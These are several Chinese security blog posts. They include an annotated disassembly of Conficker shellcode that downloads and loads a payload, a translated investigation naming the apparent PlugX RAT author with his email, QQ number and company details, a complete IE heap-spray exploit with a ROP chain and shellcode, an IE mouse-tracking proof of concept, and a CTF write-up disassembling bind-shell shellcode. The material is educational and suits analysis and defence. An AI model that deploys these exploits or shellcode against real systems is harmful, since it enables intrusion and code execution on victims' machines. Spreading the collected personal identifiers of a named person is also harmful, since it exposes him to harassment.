4. kernel32.dll基地址获取:通过InInitializationOrderModuleList获取kernel32.dll基地址,该方法在Win7下无效
5. 函数地址获取:解析DLL导出表,通过HASH值查找目标函数
6. 反虚拟机:调用sldt eax,如果是虚拟机后面的HASH计算将会出错,下载逻辑不会执行
7. 代码逻辑:URLDownloadToFileA下载自身副本,LoadLibraryA加载副本,ExitThread退出

seg000:00000000 ; ===========================================================================
seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 db 0E8h                 ; E8 FFFFFFFF ; call 00000004
seg000:00000001                 db 0FFh                 ; 两条指令公用公共字节干扰反汇编
seg000:00000002                 db 0FFh
seg000:00000003                 db 0FFh
seg000:00000004 ; ---------------------------------------------------------------------------
seg000:00000004                 inc     edx             ; 跳转到这里 (FF C2)
seg000:00000006                 pop     edi             ; 得到字节C2处的内存地址(call压入的eip)
seg000:00000007                 lea     ecx, [edi+10h]  ; 00000005 + 00000010 = 00000015
seg000:00000007                                         ; 也就是代码重定位的功能了
seg000:0000000A
seg000:0000000A fDecode:                                ; CODE XREF: seg000:00000013 j
seg000:0000000A                 xor     byte ptr [ecx], 0C4h ; xor 解密ShellCode
seg000:0000000D                 inc     ecx
seg000:0000000E                 cmp     word ptr [ecx], 534Dh ; 结束符 MS
seg000:00000013                 jnz     short fDecode   ; ShellCode解码Stub
seg000:00000015                 cld                     ; ShellCode开始
seg000:00000016                 push    2
seg000:00000018                 pop     ecx
seg000:00000019                 mov     eax, fs:[ecx+2Eh] ; fs:[30] -> PEB
seg000:0000001D                 mov     eax, [eax+0Ch]  ; Ldr : _PEB_LDR_DATA
seg000:00000020                 mov     eax, [eax+1Ch]  ; InInitializationOrderModuleList
seg000:00000023                 mov     eax, [eax]      ; 下一个节点
seg000:00000025                 mov     ebx, [eax+8]    ; kernel32.dll基地址
seg000:00000028                 lea     esi, [edi+0A1h] ; 000000A6 -> 768AA260
seg000:0000002E
seg000:0000002E loc_2E:                                 ; CODE XREF: seg000:00000034 j
seg000:0000002E                 call    fnGetProcAddress
seg000:00000033                 push    eax             ; 第一次push ExitThread
seg000:00000034                 loop    loc_2E          ; 第二次push LoadLibraryA
seg000:00000036                 mov     edi, esp
seg000:00000038                 push    esi             ; urlmon
seg000:00000039                 call    dword ptr [edi] ; LoadLibraryA
seg000:0000003B                 xchg    eax, ebx
seg000:0000003C                 add     esi, 7
seg000:0000003F                 call    fnGetProcAddress ; 获取URLDownloadToFileA的地址
seg000:00000044                 xor     edx, edx        ; 0
seg000:00000046                 push    edx             ; 0 ExitThread的参数
seg000:00000047                 push    edx             ; "\0\0\0\0"
seg000:00000048                 mov     ecx, esp
seg000:0000004A                 mov     word ptr [ecx], '.x' ; "\0\0\0\0" -> "x.\0\0"
seg000:0000004F                 push    ecx             ; LoadLibraryA的参数 加载下载后的文件
seg000:00000050                 push    dword ptr [edi+4] ; LoadLibraryA执行完毕返回到ExitThread
seg000:00000053                 push    edx             ; LPBINDSTATUSCALLBACK lpfnCB <- NULL
seg000:00000054                 push    edx             ; DWORD dwReserved <- NULL
seg000:00000055                 push    ecx             ; LPCTSTR szFileName <- "x."
seg000:00000056                 push    esi             ; LPCTSTR szURL <- 动态Patch的URL
seg000:00000057                 push    edx             ; LPUNKNOWN pCaller <- NULL
seg000:00000058                 push    dword ptr [edi] ; URLDownloadToFileA执行完毕返回到LoadLibraryA
seg000:0000005A                 jmp     eax             ; jmp URLDownloadToFileA
seg000:0000005C
seg000:0000005C ; =============== S U B R O U T I N E =======================================
seg000:0000005C
seg000:0000005C ; 参数: esi 被查找函数的HASH
seg000:0000005C ;       ebx DLL模块的基地址
seg000:0000005C ; 返回: eax 被查找函数的地址
seg000:0000005C
seg000:0000005C fnGetProcAddress proc near              ; CODE XREF: seg000:loc_2E p
seg000:0000005C                                         ; seg000:0000003F p
seg000:0000005C                 lodsd                   ; eax <- [esi] then esi += 4
seg000:0000005D                 push    ecx
seg000:0000005E                 push    esi
seg000:0000005F                 xchg    eax, ebp
seg000:00000060                 mov     ecx, [ebx+3Ch]  ; NtHeader偏移
seg000:00000063                 mov     ecx, [ebx+ecx+78h] ; 数据目录表-导出表(RVA)
seg000:00000067                 add     ecx, ebx        ; 导出表地址
seg000:00000069                 xor     esi, esi
seg000:0000006B
seg000:0000006B loc_6B:                                 ; CODE XREF: fnGetProcAddress+32 j
seg000:0000006B                 lea     edx, [ebx+esi*4]
seg000:0000006E                 add     edx, [ecx+20h]  ; AddressOfNames (RVA)
seg000:00000071                 mov     edx, [edx]      ; 取数组元素(RVA)
seg000:00000073                 add     edx, ebx        ; 名字地址
seg000:00000075                 sldt    eax             ; 在真实机器上eax = 0 (反虚拟机?)
seg000:00000078                 movsx   eax, ax
seg000:0000007B
seg000:0000007B loc_7B:                                 ; CODE XREF: fnGetProcAddress+28 j
seg000:0000007B                 rol     eax, 7          ; 计算HASH
seg000:0000007E                 xor     al, [edx]
seg000:00000080                 inc     edx
seg000:00000081                 cmp     byte ptr [edx], 0
seg000:00000084                 jnz     short loc_7B
seg000:00000086                 cmp     eax, ebp        ; HASH值比较(由[esi]传入)
seg000:00000088                 jz      short loc_90
seg000:0000008A                 inc     esi
seg000:0000008B                 cmp     esi, [ecx+18h]  ; NumberOfNames
seg000:0000008E                 jb      short loc_6B    ; 下一个API
seg000:00000090
seg000:00000090 loc_90:                                 ; CODE XREF: fnGetProcAddress+2C j
seg000:00000090                 mov     edx, [ecx+24h]  ; AddressOfNameOrdinals(RVA)
seg000:00000093                 add     edx, ebx
seg000:00000095                 movzx   edx, word ptr [edx+esi*2]
seg000:00000099                 mov     eax, [ecx+1Ch]  ; AddressOfFunctions(RVA)
seg000:0000009C                 add     eax, ebx
seg000:0000009E                 mov     eax, [eax+edx*4]
seg000:000000A1                 add     eax, ebx        ; 返回函数地址
seg000:000000A3                 pop     esi
seg000:000000A4                 pop     ecx
seg000:000000A5                 retn
seg000:000000A5 fnGetProcAddress endp
seg000:000000A5
seg000:000000A5 ; ---------------------------------------------------------------------------
seg000:000000A6                 dd 768AA260h            ; ExitThread
seg000:000000AA                 dd 0C8AC8026h           ; LoadLibraryA
seg000:000000AE aUrlmon         db 'urlmon',0           ; urlmon.dll
seg000:000000B5                 dd 0D95D2399h           ; URLDownloadToFileA
seg000:000000B9                 db    0                 ; 000000B9 这里填充下载URL
seg000:000000BA                 db    0
seg000:000000BB                 db    0
seg000:000000BC                 db 0E8h ; ?

有人说可以从InInitializationOrderModuleList获取kernel32.dll基地址的通用方法:鉴于kernel32.dll位于该链表的前面几个DLL之中,且各个DLL的名字长度不一样,所以只需要找到第一个名字长度与kernel32.dll名字长度一致的DLL即可,具体可以阅读下讨论帖子:Win 7下定位kernel32.dll基址及shellcode编写


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> Conficker/Kido ShellCode
作者:代码疯子

您可能对下面的文章也感兴趣:

  1. Borland C++入口点特征码
  2. Win32 ASM Hello World
  3. 极度BT的一段汇编代码
  4. 引用,其实不可以改变指向
  5. 引用不分配内存?

[译]追踪PlugX Rat作者

$
0
0

若干天前,趋势科技发布了一些关于PlugX的信息(RAT的一种新版本)。最近几个月以来我们一直在追踪一群人,他们使用PlugX RAT来攻击不同的目标,尤其是日本、台湾、韩国以及西藏的组织和个人。

本文将着重讲解我们从攻击样本中提取出来的情报信息以及我们如何利用这些信息来追踪RAT的作者,该作者很有可能也参与了这些攻击事件。

在过去的几个月中我们看到了一些使用微软Office溢出攻击(CVE-2012-0158)针对西藏目标发起的钓鱼活动,其中用到的Office恶意文档使用了这样的技巧:恶意样本下载下来的是一个NVIDIA正常文件(NvSmart.exe)、一个DLL(NvSmartMax.dll)以及一个二进制文件(boot.ldr),赛门铁克公司有解释过这种技术

NvSmart.exe
NvSmart.exe
因为正常的NvSmart.exe是NVIDIA应用程序的一部分,所以就如我们所看到的一样,这个文件拥有NVIDIA的数字签名。一旦NvSmart.exe执行起来,就会加载NvSmartMax.dll。攻击者下载了一个修改过的NvSmartMax.dll文件,该DLL文件会执行boot.ldr中包含的恶意代码。

由于NvSmart.exe被设置成开机自启动并且拥有合法的数字签名,它会绕过操作系统的一些限制并且恶意代码在系统启动时也会一同被执行。一旦攻击样本执行起来,就如我们在过去几年中看到的常用攻击手法一样,一个诱饵文件展示在用户面前。下面是攻击者使用的诱饵文件中的一个例子:
PlugX Rat decoy

很巧的是我们在大部分boot.ldr文件中发现了叫做PlugX的RAT版本。在几个月前我们最初开始调查之时,我们发现在一些PlugX二进制文件之中我们可以提取出这样的调试路径:

Hash: c1c80e237f6fbc2c61b82c3325dd836f3849ca036a28007617e4e27ba2f16c4b
Debug Path: d:\work\plug4.0(nvsmart)(sxl)\shellcode\shellcode\XPlug.h
Compilation date: 6/17/2012 16:44:58
 
Hash: 1a091c2ddf77c37db3274f649c53acfd2a0f14780479344d808d089faa809a_HHDL's Birthday 
 
Celebration.doc
Debug Path: d:\work\Plug3.0(Gf)UDP\Shell6\Release\Shell6.pdb
Compilation date: 6/17/2012 16:44:58
 
Hash: 42813b3a43611efebf56239a1200f8fc96cd9f3bac35694b842d9e8b02a
Debug Path: d:\work\plug4.0(nvsmart)\shellcode\shellcode\XPlug.h
Compilation date: 5/26/2012 7:16:08
 
Hash: 28762c22b2736ac9728feff579c3256bd5d18bdfbf11b8c00c68d6bd905af5b8
Debug Path: d:\work\plug3.1(icesword)\shellcode\shellcode\XPlug.h
Compilation date: 6/14/2012 6:06:00

看起来似乎存在好几个版本的RAT,并且如果你仔细研究这些RAT你会发现各个版本都有一些变化以及一些新特性。

我们在所收集的样本中进行了进一步的查找,看看除了已有的恶意文档下载下来的PlugX之外,是否能够找到其他样本程序。结果我们发现了一些其他的样本:

Hash: 3b01677582e7a56942a91da9728c6251- financial_report.exe
Debug Path: C:\Users\whg\Desktop\Plug\FastGui(LYT)\Shell\Release\Shell.pdb
Compilation date: 6/17/2012 16:44:58
 
Hash: 60ee900d919da8306b7b6dbe7e62fee49f00ccf141b2e396f5a66be51a00e34f
Debug Path: C:\Documents and Settings\whg\\Plug\FastGui(LYT)\Shell\Release\Shell.pdb
Compilation date: 2012-03-12 07:04:12
 
Hash: c00cd2dcddbb24383a3639ed56e68a24dc4561b1248efa4d53aa2b68220b4b2a
Debug Path: C:\Users\whg\Desktop\Plug\FastGui(LYT)\Shell\Release\Shell.pdb
Compilation date: 3/12/2012 14:23:58

就如我们所看到的一样,在这些样本中提取出来的调试路径似乎更加有意思了,因为这些路径中包含着一个叫做whg的用户名。这里有两种形式的路径:“C:\Documents and Settings\whg\”和“C:\Users\whg\” ,极有可能在第一种情况下作者使用的是Windows XP而在第二种情况下作者使用的是Vista或者Windows 7。

有了这些信息,我们开始搜索包含类似调试路径的二进制文件。结果我们找到了一个叫做SockMon的程序,同时我们顺着找到了http://www.cnasm.com/view.asp?classid=49&newsid=320以及http://www.cnasm.com/view.asp?classid=49&newsid=315

我们在不同版本的SockMon程序中找到了如下的调试路径:

C:\Users\whg\Desktop\SockMon2011\SockMon\UnitCache.pas
c:\Documents and Settings\whg\SockMon2010\RunProtect\Release\RunProtect.pdb
c:\Documents and Settings\whg\\SockMon2010\SmComm\Release\SmComm.pdb

同时我们还找到了一个叫做vtcp的程序库(http://www.cnasm.com/vtcpsdk/),其中包含的调试路径是:

C:\Users\whg\Desktop\vtcp11.0lib\vtcpT0\UnitMain.pas

你是否对这些信息感到很熟悉呢?看起来whg编译了这些程序并且他还运行着一些配置这不同路径信息的机器,对应我们在PlugX中发现的调试路径。如果我们研究一下cnasm.com我们会得到如下的联系信息:

email: whg0001 at 163.com
QQ: 312016

这个邮件地址与我们在一些RAT样本的调试路径中找到的用户名是一样的。接下来看看我们找到关于whg0001 at 163.com的信息,这个邮件地址早在2000年被用来作为域名chinansl.com的管理员联系方式:

Domain Name      : chinansl.com
PunnyCode        : chinansl.com
Creation Date    : 2000-08-08 00:00:00
Updated Date     : 2012-02-29 11:26:22
Expiration Date  : 2013-08-08 00:00:00
 
Registrant:
Organization   : chinansl technology co.,itd
Name           : lishiyun
Address        : Room E8BC , XiangFu Garden , 3rd Southern portion of 2nd ringroad , Chengdu , Si
City           : chengdushi
Province/State : sichuansheng
Country        : china
Postal Code    : 610041
 
Administrative Contact:
Name           :
Organization   : chinansl technology co.,itd
Address        :
City           : chengdushi
Province/State : sichuansheng
Country        : china
Postal Code    : 610041
Phone Number   :
Fax            : 086-028-85459578
Email          : whg0001@163.com

在这个链接中你可以找到更多关于该公司的信息,大致如下:

Company Name: CHINANSL TECHNOLOGY CO.,LTD.
Address: Chengdu National Information Security Production Industrialization Base , 2nd Floor ,No.8 Chuangye   Road
Telephone: 02866853362
Custom Code: 5101730218773
Company Code: 730
Account-opening Bank: Xisanqi Sub-branch, Beijing Branch, Bank of China
Account Name: Beijing Lingtong Economic Consulting Co., Ltd
Account Number: 813715881608091001

ChinaNSL

从我们上面所收集的信息来看,这应该是一个和安全产业相关的中国公司;当然,我们还发现了一款叫做Parent Carefree Filter的软件:

publisher…………….: CHINANSL
product………………: Parent Carefree Filter
internal name…………: FamHook
file version………….: 3, 0, 0, 1
original name…………: FamHook.dll
copyright…………….: CHINANSL
description…………..: Parent Carefree Filter

在这个软件中我们又看到了类似的调试路径信息:

c:\Documents and Settings\whg\Pnw(all)\Pc()\FamHook\Release\FamHook.pdb

你可以找到Chinansl在2000年发布的一些公告:

CHINANSL Security Advisory(CSA-200110)
Tomcat 4.0-b2 for winnt/2000 show “.jsp” source Vulnerability
CHINANSL Security Advisory(CSA-200011)
PHP AND APACHE Vulnerability
CHINANSL Security Advisory(CSA-200012)
Ultraseek Server 3.0 Vulnerability
CHINANSL Security Advisory(CSA200013)
IBM WCS local user exceed his authority to access another file
CHINANSL Security Advisory(CSA-200105)
Tomcat 3.0 for win2000 Directory traversal Vulnerability
CHINANSL Security Advisory(CSA-200106)
JavaServer Web Dev Kit(JSWDK)1.0.1 for win2000 Directory traversal Vulnerability
CHINANSL Security Advisory(CSA-200108)
Tomcat 3.2.1 for win2000 Directory traversal
CHINANSL Security Advisory(CSA-200107)
IBM WCS 4.0.1 + Application Server 3.0.2 for Solaris 2.7 show “.jsp” source Vulnerability.
CHINANSL Security Advisory(CSA-200109)
Tomcat 4.0-b1 for winnt/2000 show “.jsp” source Vulnerability.

我们在互联网上找到了一些关于whg0001的一些引用信息:
https://www.xfocus.net/bbs/index.php?act=ST&f=1&t=54500
http://bbs.krshadow.com/thread-58032-1-1.html
他被描述为精通汇编语言的病毒专家,你还可以从他的CSDN账户信息中看到他的照片:
whg

到了这里你也许会想我们不能仅仅因为程序中存在的一些调试路径而指控whg与PlugX RAT有针对性的活动有关。我们可以这样吗?
好了,让我们来看最后一点。在我们搜索了更多版本的PlugX RAT之后我们发现了这样的两个样本:

2ba7f1cc1f46a17ccfbef6b327d8c4e47f9d56922debcad27e5db569f4cf818d
51e50d810172591ee04e12cfce0792f3154356588eacadc01288e3a4fda915fb

他们包含这样的调试路径

i:\work\plug2.0()\shellcode\shellcode\XPlug.h

以及如下的URL地址

http://tieba.baidu.com/f?kz=866965377

这个URL地址似乎是用来做测试或者是检测连通性的。但是当你打开这个URL的时候你会惊奇的发现如下的画面:
whg baidu

你对这个人熟悉吗?
基于我们所搜集的信息,可以说此人就是PlugX RAT的幕后积极开发人员。同时可以猜测他还有可能参与了一些其他活动,因为“d:\work\plug4.0(nvsmart)\shellcode\shellcode\XPlug.h” 告诉我们他知道RAT将会通过NvSmart技术来用于一些钓鱼活动。

根据这里的研究信息可知,该恶意软件的一个早期版本(也被称为Thoper/Tvt/Sogu)在2011年被用于破坏韩国的SK通讯公司。

原文:Tracking down the author of the PlugX RAT


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [译]追踪PlugX Rat作者
作者:代码疯子

您可能对下面的文章也感兴趣:

  1. USACO The Clocks|BFS
  2. ShellCode测试代码
  3. USACO Mother’s Milk|DFS

[译]各种IE版本下的堆喷射技术

$
0
0

最近我在学习为一些古老的漏洞编写exploit,以使得它们能够在Windows 7 + IE9下正常运行。之前在利用漏洞的时候我的PoC都一直是在Windows XP + IE6下测试的,仅仅是为了确定它们确实可以正常工作,而不用担心在以后的版本中的问题。在这篇文章中我仅仅是分享一些基本信息,这对第一次编写/理解exploit的人来说应该非常有帮助,同时尽可能使得这些信息简单易懂并且不考虑性能和精确性。在之前的exploit中,当在IE6下测试的时候我使用了如下的Heap Spray(堆喷射)代码

(译注:①本文为不完全翻译,原文链接在本文末尾;②就和作者所说的一样,%u在显示的时候果然是一团糟,已经全部使用%q替换):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<SCRIPT language="JavaScript"> 
    var calc, chunk_size, headersize, nopsled, nopsled_len;
    var heap_chunks, i;
    calc = unescape("%qcccc%qcccc");
    chunk_size = 0x40000;
    headersize = 0x24;
    nopsled = unescape("%q0c0c%q0c0c");
    nopsled_len = chunk_size - (headersize + calc.length);
    while (nopsled.length < nopsled_len)
        nopsled += nopsled;
    nopsled = nopsled.substring(0, nopsled_len);
    heap_chunks = new Array();
    for (i = 0 ; i < 1000 ; i++)
        heap_chunks[i] = nopsled + calc;
</SCRIPT>

从IE8开始有了新的变化,并不仅仅只是支持DEP的问题,上面的Heap Spray(堆喷射)代码无法将ShellCode喷射到堆上面了。在检阅了其他一些exploit之后我意识到上面的代码中我确切需要改变的是使用substring函数来进行堆喷射,所以代码看起来是下面这个样子:

1
2
3
4
code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
   heap_chunks[i] = code.substring(0, code.length);

这段堆喷射代码在Windows 7 + IE9下面又无法使用了,在阅读了Peter Van Eeckhoutte介绍如何在IE9下实现堆喷射的Heap Spray Tutorial之后,我发现只需要给每一块数据改变一个字节即可。所以最终的堆喷射代码就是给每一块数据加一个计数来使得每一块数据都是不一样的:

1
2
3
4
5
for (i = 0 ; i < 1000 ; i++)
{    
   codewithnum = i + code;
   heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}

这段代码现在可以在所有版本的IE下进行Heap Spray了,并且可以在任何不支持DEP的机器上执行我们的payload。在开启了DEP的机器上我们需要一个ROP链来确保我们的代码是可以被执行的。我打算使用mona.py在msvcr71.dll上生成的ROP链,msvcr71.dll由Java6装载且不具备ASLR特性。让每一块数据仅仅在末尾有一个ROP链和一份ShellCode,而不是在一块数据上有多份ShellCode,这样更改nopshed的值即可:

1
nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]

把所有的数据整合起来,我们就得到了一份能够在IE6/7/8/9下工作的脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<SCRIPT language="JavaScript"> 
    function padnum(n, numdigits)
    {
        n = n.toString();
        var pnum = '';
        if (numdigits > n.length)
        {
            for (z = 0; z < (numdigits - n.length); z++)
            pnum += '0';
        }
        return pnum + n.toString();
    }
    var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
    var heap_chunks, i, codewithnum;
    //        
    // !mona rop -m msvcr71.dll
    // * changed from default mona rop chain output
    //
    rop = unescape(
    "%q2e4d%q7c36" +   //  0x7c362e4d, # POP EBP # RETN
    "%q2e4d%q7c36" +   //  0x7c362e4d, # skip 4 bytes
    "%qf053%q7c34" +   //  0x7c34f053, # POP EBX # RETN
    "%q00c8%q0000" +   //  0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
    "%q4364%q7c34" +   //  0x7c344364, # POP EDX # RETN
    "%q0040%q0000" +   //  0x00000040, # 0x00000040-> edx
    "%qf62d%q7c34" +   //  0x7c34f62d, # POP ECX # RETN
    "%qe945%q7c38" +   //  0x7c38e945, # &Writable location
    "%q496e%q7c36" +   //  0x7c36496e, # POP EDI # RETN
    "%q6c0b%q7c34" +   //  0x7c346c0b, # RETN (ROP NOP)
    "%q2adb%q7c37" +   //  0x7c372adb, # POP ESI # RETN
    "%q15a2%q7c34" +   //  0x7c3415a2, # JMP [EAX]
    "%q4edc%q7c34" +   //  0x7c344edc, # POP EAX # RETN
    "%qa151%q7c37" +   //  0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  *
    "%q8c81%q7c37" +   //  0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
    "%q5c30%q7c34");   //  0x7c345c30, # ptr to 'push esp #  ret '
    //
    // ruby msfpayload windows/exec cmd=calc.exe J
    // windows/exec - 200 bytes
    // http://www.metasploit.com
    // VERBOSE=false, EXITFUNC=process, CMD=calc.exe
    //
    calc = unescape(
    "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" +
    "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" +
    "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" +
    "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" +
    "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" +
    "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" +
    "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" +
    "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" +
    "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" +
    "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" +
    "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" +
    "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" +
    "%q6c61%q2e63%q7865%q0065");
    //
    chunk_size = 0x40000;
    headersize = 0x24;
    nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]
    nopsled_len = chunk_size - (headersize + rop.length + calc.length);
    while (nopsled.length < nopsled_len)
        nopsled += nopsled;
    nopsled = nopsled.substring(0, nopsled_len);
    code = nopsled + rop + calc;                             
    heap_chunks = new Array();
    for (i = 0 ; i < 1000 ; i++)
    {
        codewithnum = padnum(i,4) + code;
        heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
    }
</SCRIPT>

下面的两张图展示了一个数据块的内容:
IE Heapspray 各种IE版本下的堆喷射技术
IE Heapspray 各种IE版本下的堆喷射技术
需要注意的一点是上面弹计算器的ShellCode的大小是200个字节,这个大小需要写入到ROP链上。因为ShellCode位于每一块数据的末尾,如果传给VirtualProtect的size大于我们的ShellCode的大小,那么它将会处理超过这个数据的内存进而因为访问非法地址而触发异常。

在Windows 7上需要确保安装了Java 6,因为msvcr71.dll来自于Java 6并且不是ASLR的,如果安装的是Java 7那么就需要另外找ROP链了,因为Java 7的所有模块都ASLR了。Windows XP没有ALSR特性。

原文:Heap spraying in Internet Explorer with rop nops
不完整翻译。


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [译]各种IE版本下的堆喷射技术
作者:代码疯子

没有相关文章推荐

[转]IE鼠标追踪漏洞

$
0
0

国外网站最近披露了一个IE新漏洞,该漏洞允许攻击者跟踪屏幕上在任何位置的鼠标光标。这会危及到安全的虚拟键盘,让黑客如同使用键盘记录器一样,获得用户敏感信息。尽管目前已报告这个漏洞,并且广告商已将漏洞利用到数十亿次的广告展示中,但微软研究员却表示,近期无修复计划。据报道,微软目前所有支持的浏览器版本均受影响,这包括IE6、IE7、IE8、IE9和IE10。

通过利用fireEvent,触发onmousemove事件,可以完整的记录鼠标的移动路径,甚至在IE最小化或者不是当前窗口的情况下也可以获取当前鼠标坐标。PoC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <title>Exploit Demo</title>
        <script type="text/javascript">
            window.attachEvent("onload", function() {
                var detector = document.getElementById("detector");
                detector.attachEvent("onmousemove", function (e) {
                    detector.innerHTML = e.screenX + ", " + e.screenY;
                });
                setInterval(function () {
                    detector.fireEvent("onmousemove");
                }, 100);
            });
        </script>
    </head>
    <body>
        <div id="detector"></div>
    </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<HTML>
    <HEAD>
        <SCRIPT>
            function fnFireEvents() {
                div.innerText = "The cursor has moved over me!";
                btn.fireEvent("onclick");
            }
        </SCRIPT>
    </HEAD>
    <BODY>
        <h1>Using the fireEvent method</h1>
        By moving the cursor over the DIV below, the button is clicked.
        <DIV ID="div" onmouseover="fnFireEvents();">
            Mouse over this!
        </DIV>
        <BUTTON ID="btn" ONCLICK="this.innerText='I have been clicked!'">Button</BUTTON>
    </BODY>
</HTML>

视频演示:

Reference:
IE曝网站鼠标跟踪漏洞 用户隐私遭威胁
IE(6-10)鼠标跟踪漏洞
http://v.youku.com/v_show/id_XNDg3NjIxMzA4.html


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [转]IE鼠标追踪漏洞
作者:代码疯子

您可能对下面的文章也感兴趣:

  1. Python脚本拉取优酷高清视频FLV下载地址
  2. ISCC2011基础关-找找看密码在哪里

[XDCTF]Shellcode DIY

$
0
0

国庆参加了XDCTF,被虐的相当惨,不过时间安排确实不怎么好,时间安排在前六天,先提交且通过的得分高,越往后交分数越低,偏偏还要搞在1号0:00开始,相当的操蛋的安排。另外就是这是组队赛,大家很难把假期全部贡献在比赛上,以至于很多题目都没时间做了。不过玩玩就好,参加一下总是涨了点知识,写点笔记。(这次比赛许多大牛都出来厮杀了,场面相当激烈)

溢出部分有一个编写Shellcode的题目,要求ShellCode运行后能够监听4444端口,并且能够执行从控制端传输过来的其他ShellCode。现成的当然是没有的,全部自己写对于我等菜鸟来说那肯定不太可信吧,我的思路是找一个过来DIY一下。

首先,去Metasploit找一个框架过来吧:就拿一个tcp bind shell,端口设置为4444,将ShellCode导出为C语言的数组格式,然后稍微处理一下转成二进制文件(使用Notepad++去除其中的\x、引号以及换行符,然后转大写即可,然后使用C32Asm的特别粘贴功能,保存即可得到二进制文件),接着使用IDA分析一下这段ShellCode。

ShellCode的入口是这样的:

;=========================================================
; start
;=========================================================
start:
    cld
    call    kMainFun        ; 主要逻辑代码函数
;=========================================================
; 函数调用包装函数
; 传入参数为待调用函数的参数以及函数名HASH值
;=========================================================
;fnFunctionCaller proc
	assume fs:nothing
    pusha                   ; 保存所有寄存器
    mov     ebp, esp        ; 建立新栈帧
    xor     edx, edx        ; EDX寄存器清零操作
    mov     edx, fs:[edx+30h] ; PEB
    mov     edx, [edx+0Ch]  ; PEB_LDR_DATA
    mov     edx, [edx+14h]  ; InMemoryOrderModuleList
 
loc_15:
    mov     esi, [edx+28h]  ; BaseDllName(DLL名字)
    movzx   ecx, word ptr [edx+26h] ; (DllName长度+1)*2 即(UNICODE_STRING的长度字段)
    xor     edi, edi        ; EDI寄存器清零
 
    ; ==== 计算DLL名字HASH值 ====
loc_1E:
    xor     eax, eax        ; EAX寄存器清零
    lodsb                   ; 取DllName第一个字符
    cmp     al, 61h ; 'a'
    jl      short loc_27    ; 小于'a'时跳转
    sub     al, 20h ; ' '   ; 转大写字母
 
loc_27:
    ror     edi, 0Dh        ; 移位
    add     edi, eax        ; 累加
    loop    loc_1E          ; 循环计算DllName哈希值
 
    push    edx
    push    edi
    mov     edx, [edx+10h]  ; DllBase Dll基地址
    mov     eax, [edx+3Ch]  ; 开始解析PE文件格式
    add     eax, edx
    mov     eax, [eax+78h]  ; 数据目录表输出表结构
    test    eax, eax
    jz      short loc_89    ; 没有输出表, 跳转到返回
    add     eax, edx
    push    eax
    mov     ecx, [eax+18h]  ; 总的导出函数个数
    mov     ebx, [eax+20h]
    add     ebx, edx
 
loc_4A:
    jecxz   short loc_88
    dec     ecx
    mov     esi, [ebx+ecx*4] ; 函数名字
    add     esi, edx
    xor     edi, edi
 
    ; ==== 计算函数名字HASH值 ====
loc_54:
    xor     eax, eax
    lodsb
    ror     edi, 0Dh
    add     edi, eax
    cmp     al, ah
    jnz     short loc_54    ; 循环计算函数名HASH值
    add     edi, [ebp-8]    ; ==== Hash1(DllName) + Hash2(ApiName) ====
    cmp     edi, [ebp+24h]  ; 判断HASH值是否和传入的参数一致
    jnz     short loc_4A    ; 不相等继续寻找
    pop     eax
    mov     ebx, [eax+24h]
    add     ebx, edx
    mov     cx, [ebx+ecx*2]
    mov     ebx, [eax+1Ch]
    add     ebx, edx
    mov     eax, [ebx+ecx*4]
    add     eax, edx
    mov     [esp+28h-4], eax ; 保存函数的地址
    pop     ebx
    pop     ebx
    popa                    ; 对应pusha
    pop     ecx             ; 弹出上一个函数返回地址到ECX
    pop     edx             ; 弹出函数名HASH值参数
    push    ecx             ; 压入上一个函数的返回地址
    jmp     eax             ; 调用函数(刚好对应上一个函数传入的第参数)
 
loc_88:
    pop     eax
 
loc_89:
    pop     edi
    pop     edx
    mov     edx, [edx]
    jmp     short loc_15    ; 继续下一个DLL查找
;fnFunctionCaller endp
;=========================================================
    end start

一开始就是一条cld指令和一个call,先看一下call里面的部分代码:

;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
